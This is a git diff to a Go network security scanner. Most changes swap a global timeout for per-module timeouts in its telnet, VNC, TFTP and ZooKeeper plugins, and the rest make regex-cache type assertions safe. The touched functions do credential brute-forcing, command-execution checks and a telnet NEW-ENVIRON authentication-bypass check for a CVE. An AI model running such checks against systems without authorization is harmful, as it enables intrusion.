conn.SetReadDeadline(time.Now().Add(config.ModuleTimeout())) banner := make([]byte, 256) n, err := conn.Read(banner) diff --git a/plugins/services/telnet.go b/plugins/services/telnet.go index ade5916..66259db 100644 --- a/plugins/services/telnet.go +++ b/plugins/services/telnet.go @@ -121,7 +121,7 @@ func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, resultChan := make(chan *AuthResult, 1) go func() { - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { resultChan <- &AuthResult{ Success: false, @@ -131,7 +131,7 @@ func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, return } - _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())) if p.performTelnetAuth(conn, cred.Username, cred.Password) { resultChan <- &AuthResult{ @@ -215,14 +215,14 @@ func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostIn resultChan := make(chan *ScanResult, 1) go func() { - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { resultChan <- nil return } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())) buffer := make([]byte, 1024) attempts := 0 @@ -510,7 +510,7 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf resultChan := make(chan *ScanResult, 1) go func() { - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { resultChan <- &ScanResult{ Success: false, @@ -521,7 +521,7 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())) buffer := make([]byte, 2048) n, err := conn.Read(buffer) @@ -595,14 +595,14 @@ func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common. resultChan := make(chan rceResult, 1) go func() { - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { resultChan <- rceResult{} return } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout + telnetRCEExtraTimeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout() + telnetRCEExtraTimeout)) // 需要认证时先登录 if username != "" || password != "" { @@ -808,7 +808,7 @@ func (p *TelnetPlugin) checkCVE202624061Concurrent(ctx context.Context, info *co // 利用 NEW-ENVIRON (option 39) 子协商注入恶意环境变量,实现认证绕过 // 返回 (是否漏洞, 触发用户名, 证据) func (p *TelnetPlugin) checkCVE202624061(ctx context.Context, info *common.HostInfo, session *common.ScanSession, user string) (bool, string, string) { - conn, err := session.DialTCP(ctx, "tcp", info.Target(), session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", info.Target(), session.Config.ModuleTimeout()) if err != nil { return false, "", "" } diff --git a/plugins/services/tftp.go b/plugins/services/tftp.go index ad57e98..2bf5836 100644 --- a/plugins/services/tftp.go +++ b/plugins/services/tftp.go @@ -21,7 +21,7 @@ func NewTFTPPlugin() *TFTPPlugin { } func (p *TFTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } diff --git a/plugins/services/vnc.go b/plugins/services/vnc.go index d8683fd..9d6aec3 100644 --- a/plugins/services/vnc.go +++ b/plugins/services/vnc.go @@ -74,7 +74,7 @@ func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred C resultChan := make(chan *AuthResult, 1) go func() { - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { resultChan <- &AuthResult{ Success: false, @@ -84,7 +84,7 @@ func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred C return } - _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())) vncConfig := &vnc.ClientConfig{ Auth: []vnc.ClientAuth{ diff --git a/plugins/services/zookeeper.go b/plugins/services/zookeeper.go index 91f3e44..40561b2 100644 --- a/plugins/services/zookeeper.go +++ b/plugins/services/zookeeper.go @@ -20,7 +20,7 @@ func NewZooKeeperPlugin() *ZooKeeperPlugin { } func (p *ZooKeeperPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } diff --git a/webscan/fingerprint/enhanced.go b/webscan/fingerprint/enhanced.go index ec376fc..3739b6e 100644 --- a/webscan/fingerprint/enhanced.go +++ b/webscan/fingerprint/enhanced.go @@ -303,14 +303,18 @@ func matchRegex(matcher struct { // 从 sync.Map 缓存获取或编译正则 var re *regexp.Regexp if cached, ok := enhancedDB.regexCache.Load(cacheKey); ok { - re = cached.(*regexp.Regexp) + if r, ok := cached.(*regexp.Regexp); ok { + re = r + } } else { compiled, err := regexp.Compile(cacheKey) if err != nil { continue } actual, _ := enhancedDB.regexCache.LoadOrStore(cacheKey, compiled) - re = actual.(*regexp.Regexp) + if r, ok := actual.(*regexp.Regexp); ok { + re = r + } } // 确保 re 不为 nil(防止并发场景下的 nil panic) diff --git a/webscan/lib/eval_string.go b/webscan/lib/eval_string.go index d5af036..083c70f 100644 --- a/webscan/lib/eval_string.go +++ b/webscan/lib/eval_string.go @@ -73,14 +73,14 @@ func registerStringImplementations() []*functions.Overload { pattern := string(v1) var re *regexp.Regexp if cached, found := regexCache.Load(pattern); found { - re = cached.(*regexp.Regexp) + re, _ = cached.(*regexp.Regexp) } else { compiled, err := regexp.Compile(pattern) if err != nil { return types.NewErr("%v", err) } actual, _ := regexCache.LoadOrStore(pattern, compiled) - re = actual.(*regexp.Regexp) + re, _ = actual.(*regexp.Regexp) } return types.Bool(re.Match(v2)) }, diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index 476cbd3..a11a3e1 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -301,7 +301,7 @@ func doSearch(re string, body string) map[string]string { // 编译正则表达式(带缓存) var r *regexp.Regexp if cached, ok := regexCache.Load(re); ok { - r = cached.(*regexp.Regexp) + r, _ = cached.(*regexp.Regexp) } else { compiled, err := regexp.Compile(re) if err != nil { @@ -309,7 +309,7 @@ func doSearch(re string, body string) map[string]string { return nil } actual, _ := regexCache.LoadOrStore(re, compiled) - r = actual.(*regexp.Regexp) + r, _ = actual.(*regexp.Regexp) } // 执行正则匹配